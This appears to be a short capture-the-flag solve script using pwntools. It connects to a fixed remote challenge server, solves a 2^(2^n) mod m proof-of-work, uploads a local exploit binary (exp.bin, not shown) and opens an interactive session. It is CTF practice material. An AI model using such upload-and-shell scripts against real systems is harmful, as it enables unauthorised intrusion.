/..

#CONTENT

#TOP

solve.pyPYTHON
from pwn import *

p = remote("111.231.174.57", "3892")

p.recvline()
req = p.recvline().decode()

exp = int(req.strip("2^(2^").split(")")[0])
mod = int(req.split(" mod ")[1].strip(" = ?\n"))

print(req)
print(f"exp: {exp}")
print(f"mod: {mod}")

ans = pow(2, exp)
ans = pow(2, ans, mod)
print(f"ans: {ans}")
p.sendline(f"{ans}".encode())

elf = open("exp.bin", "rb").read()
p.sendlineafter(b": ", f"{len(elf)+1}".encode())
p.sendlineafter(b":\n", elf)

p.interactive()